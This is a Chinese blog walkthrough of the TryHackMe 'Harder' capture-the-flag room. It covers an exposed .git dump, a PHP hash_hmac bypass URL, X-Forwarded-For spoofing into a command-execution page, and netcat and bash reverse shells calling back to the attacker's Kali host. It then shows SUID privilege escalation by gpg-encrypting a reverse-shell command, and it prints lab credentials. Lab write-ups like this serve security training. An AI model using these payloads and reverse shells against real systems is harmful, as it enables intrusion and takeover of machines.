美文网首页
TryHackMe | Harder wp

TryHackMe | Harder wp

作者: 静析机言 | 来源:发表于2023-04-17 15:32 被阅读0次

本篇文章讲述怎么做https://tryhackme.com/room/harder

:由于免费账号只有1小时使用时间,所以下面显示的VM的IP各不相同,但不影响理解。

1、扫描端口,发现开启了22、80端口

nmap -sV -sC -oN nmap/initial 10.10.144.199

搜索nginx 1.18.0有没有可利用的漏洞,发现没有。

searchsploit nginx

2、 浏览器打开http://10.10.144.199,没有发现有用信息,仅显示一个404页面。

3、 执行gobuster搜索子目录

gobuster dir -u http://10.10.144.199/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -t 50 --exclude-length 1985

找到phpinfo.php。

4、开启burpsuite,给http://10.10.247.61发包,发现响应中有domain=pwd.harder.local

编辑/etc/hosts,添加10.10.247.61 pwd.harder.local

让pws.harder.local可访问。随便试试admin admin,无法登录。

5、再次开启gobuster,搜索http://pwd.harder.local下的目录。发现了.git/HEAD等。

gobuster dir -u http://pwd.harder.local-w/usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -t 50

6、利用工具gitdumper.sh下载git文件。git checkout将文件迁出。

wget https://raw.githubusercontent.com/internetwache/GitTools/master/Dumper/gitdumper.sh

./gitdumper.sh http://pwd.harder.local/.git/ git

git checkout *

发现4个文件,分别为.gitignore、auth.php、hmac.php、index.php。

7、查看关键文件hmac.php的逻辑:首先检查是否有h、host输入参数。如果有,则获取n输入参数,将其跟secret进行hmac计算,将计算出来的值再与host输入参数做hmac计算,要求算出的值与h输入参数相同。

google搜索:hmac php bypass,这个网页详细讲述了php跳过hmac的原理

https://www.securify.nl/blog/spot-the-bug-challenge-2018-warm-up/

php跳过hmac的技巧:

只要n为数组,则secret会返回false

$secret = hash_hmac('sha256', $_GET['n'], $secret);

写一个test.php测试,$hmac返回false

<?php

$hmac =hash_hmac('sha256', Array(), "SecretKey");

echo$hmac = = false;

?>

执行test.php,返回1。

假设host=google.com,直接算出hmac并将其赋给h即可满足条件。

test2.php

<?php

$hm =hash_hmac('sha256', 'google.com', false);

echo $hm

?>

17343667cb7056b9d7df53076482d30f8a7ef19ec6c1fe50438af4339891f030

综上所述,构造如下URL可满足hmac.php

/index.php?h=17343667cb7056b9d7df53076482d30f8a7ef19ec6c1fe50438af4339891f030&host=google.com&n[]=

将响应页面展示在浏览器中

至此,获得了evs的密码:9FRe8VUuhFhd3GyAtjxWn0e9RfSGv7xm。

8、修改/etc/hosts以便访问shell.harder.local

输入evs  9FRe8VUuhFhd3GyAtjxWn0e9RfSGv7xm

显示仅为10.10.10.x范围内的IP地址才能访问。

在头部添加X-Forwarded-For,并设置数值为任意10.10.10.0/24,就能显示页面。这是个命令执行。

9、利用命令执行让kali获得反向连接。

将请求方法由GET改为POST,并提交cmd=whoami,页面显示www。

我们尝试将cmd改为反向shell。此处的IP需要改为Kali Linux的。

cmd=bash -i >& /dev/tcp/kali-IP/10000 0>&1

将其进行URL编码(快捷键Ctrl + u),仅将空格变为+。

用reverse shell不行,kali开启10000端口的监听,收不到连接。

用nc,kali收到连接信息,但是被kill了。

换成另一个办法:

在burpsuite中将cmd设置为cmd=nc+kali-IP+10000+-e+/bin/sh。

kali开启端口10000,可以收到连接。

10、反向连接上执行linpeas.sh,检查受害VM有什么可利用的弱点?

wget https://github.com/carlospolop/PEASS-ng/releases/download/20230418-edede4b8/linpeas.sh

kali端执行nc,监听5555端口,并将linpeas.sh传入。

nc -lvp 5555 < linpeas.sh

在受攻击端执行如下命令,相当于下载了linpeas.sh脚本。

/usr/bin/nc kali-IP 5555 > /tmp/linpeas.sh

执行linpeas.sh发现了开启的端口,系统有3个用户,可疑的脚本/usr/local/bin/run-crypted.sh、可获取SUID权限的命令/usr/local/bin/execute-crypted。疑似备份的脚本/etc/periodic/15min/evs-backup.sh。

系统中有evs用户。尝试ssh登录,提示“Could not resolve hostname harder.local”。可以在/etc/hosts添加一行IP  harder.local解决。

ssh evs@harder.local

粘贴之前获得evs账户密码9FRe8VUuhFhd3GyAtjxWn0e9RfSGv7xm。提示Permission denied。说明密码错误。输入从evs-backup.sh中获得evs的ssh密码:U6j1brxGqbsUA$pMuIodnb$SZB4$bw14,可以登录。

查看当前目录下的user.txt,获取user Flag

打开/etc/periodic/15min/evs-backup.sh,发现了evs的ssh密码:U6j1brxGqbsUA$pMuIodnb$SZB4$bw14。

查看run-crypted.sh内容:生成要执行的命令,然后execute-crypted运行gpg用root@harder.local密钥加密的命令。

execute-crypted具有SUID权限。在执行过程中,调用者会暂时获得该文件的所有者权限。execute-crypted属主为root,当我们通过非root用户登录时,由于execute-crypted设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限。利用此特性,我们可通过SUID进行提权。

根据前面的run-crypted.sh,搜索root@harder.local密钥。

find / -name "root@harder*" 2>/dev/null

将root的公钥导入gpg,在当前目录的.gnupg下生成trustdb.gpg、pubring.kbx。

gpg --import /var/backup/root@harder.local.pub

nc监听4445端口,执行cmd.gpg后将出现连接。此时发现uid变成了root。查看/root/root.txt,获得root Flag。

生成一条反向连接本机的命令cmd,给它添加执行权限,用root@harder.local的公钥加密cmd并执行。

echo "nc kali-IP 4445 -e /bin/sh" > cmd

chmod +x cmd

gpg -r root@harder.local -e cmd  //将生成cmd.gpg文件

/usr/local/bin/execute-crypted cmd.gpg  //执行cmd.gpg

相关文章

  • Harder and harder

    The higher you can achieve, the deeper you can reach.

  • harder

    我想要去的地方很远,我想要的东西很贵,我想要遇到优秀的人。于是我不得不努力,努力的意义在于…… 当某天你和某人上街...

  • work harder

    希望有一天可以牵起你的手

  • Try Harder

    You have nothing to lose, then why not try harder? Carrie

  • try harder

    如果有一天,你不再贪念成功,只是去做。不再苦寻爱情,只是去爱。不再急于成长,只是去努力,一切才算真正开始。年轻是一...

  • Work harder

    今天的标题来源于比尔.盖茨说的一句话:‘如果碰到了困难和阻碍,要work harder。’ 认定了目标,永远都不能...

  • try harder

    漆黑的夜里闪烁着微光我独自一人在寻找方向遥望过去我也曾迷茫我也曾遐想我也曾感叹世间美好未来 美满 闭上双眼有个声音...

  • 2016.10.05

    Work is not easy,Life is harder.

  • 人生

    life is not like the movie,life is more harder

  • 111

    it is harder to capture five minutes on the air in which ...

网友评论

      本文标题:TryHackMe | Harder wp

      本文链接:https://www.haomeiwen.com/subject/ntdcjdtx.html